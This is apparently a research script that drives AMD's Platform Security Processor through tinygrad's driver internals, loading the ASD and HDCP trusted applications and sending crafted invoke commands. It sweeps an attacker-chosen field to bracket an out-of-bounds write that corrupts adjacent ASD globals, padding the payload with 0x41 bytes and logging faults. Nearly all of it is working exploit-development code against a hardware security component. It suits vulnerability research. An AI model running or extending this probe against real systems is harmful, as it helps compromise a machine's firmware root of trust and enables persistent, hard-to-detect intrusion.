"""Find the controlled-write window: ascending a1' until the first fault.
nibble-8 path (b0=0x81), a1' in [0x2B,0x1400]. Clean returns = OOB write stayed
mapped (corrupts adjacent ASD globals, no crash). First fault brackets the window."""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return tuple(adev.rreg(C2P+n) for n in (82,84,86))
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
    ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
    adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
    t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
    t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
    r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(buf):
    adev.vram.view(shm,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
    adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
    ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
    iv.session_id,iv.ta_cmd_id=sid,0x12; t0=time.time()
    try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(shm,0x800)[:]), time.time()-t0
    except RuntimeError: return stat(), bytes(adev.vram.view(shm,0x800)[:]), time.time()-t0
    except TimeoutError: return "TO",None,time.time()-t0
def fire(a1p):
    b=bytearray(0x8000); struct.pack_into('<I',b,0,0x12)
    struct.pack_into('<I',b,0xC,0x40)
    b0=0x81; b3=1; b5=(a1p>>16)&0xFF; b6=(a1p>>8)&0xFF; b7=a1p&0xFF
    b[0x10:0x18]=bytes([b0,0,0,b3,0,b5,b6,b7])
    for k in range(0x18,0x50): b[k]=0x41
    ps,out,dt=inv(b)
    ta=struct.unpack_from('<I',out,4)[0] if out else None
    return ps,ta,dt
print("baseline crash:", [hex(x) for x in crash()])
for a1p in (0x40,0x80,0x100,0x180,0x200,0x300,0x400,0x600,0x800,0xC00,0x1000,0x1400):
    ps,ta,dt=fire(a1p)
    c=crash()
    tag="FAULT" if (ps=="TO" or c[1]!=0) else "clean"
    print("a1'=%#06x -> %-5s psp=%s ta=%s %.3fs crash=%s alive=%s"%(a1p,tag,ps,ta,dt,[hex(x) for x in c],psp.is_sos_alive()))
    if ps=="TO" or c[1]!=0: 
        print("  first fault at a1'=%#x -> off_D134BC[0] buffer window is below this"%a1p); break
print("sOS alive:",psp.is_sos_alive())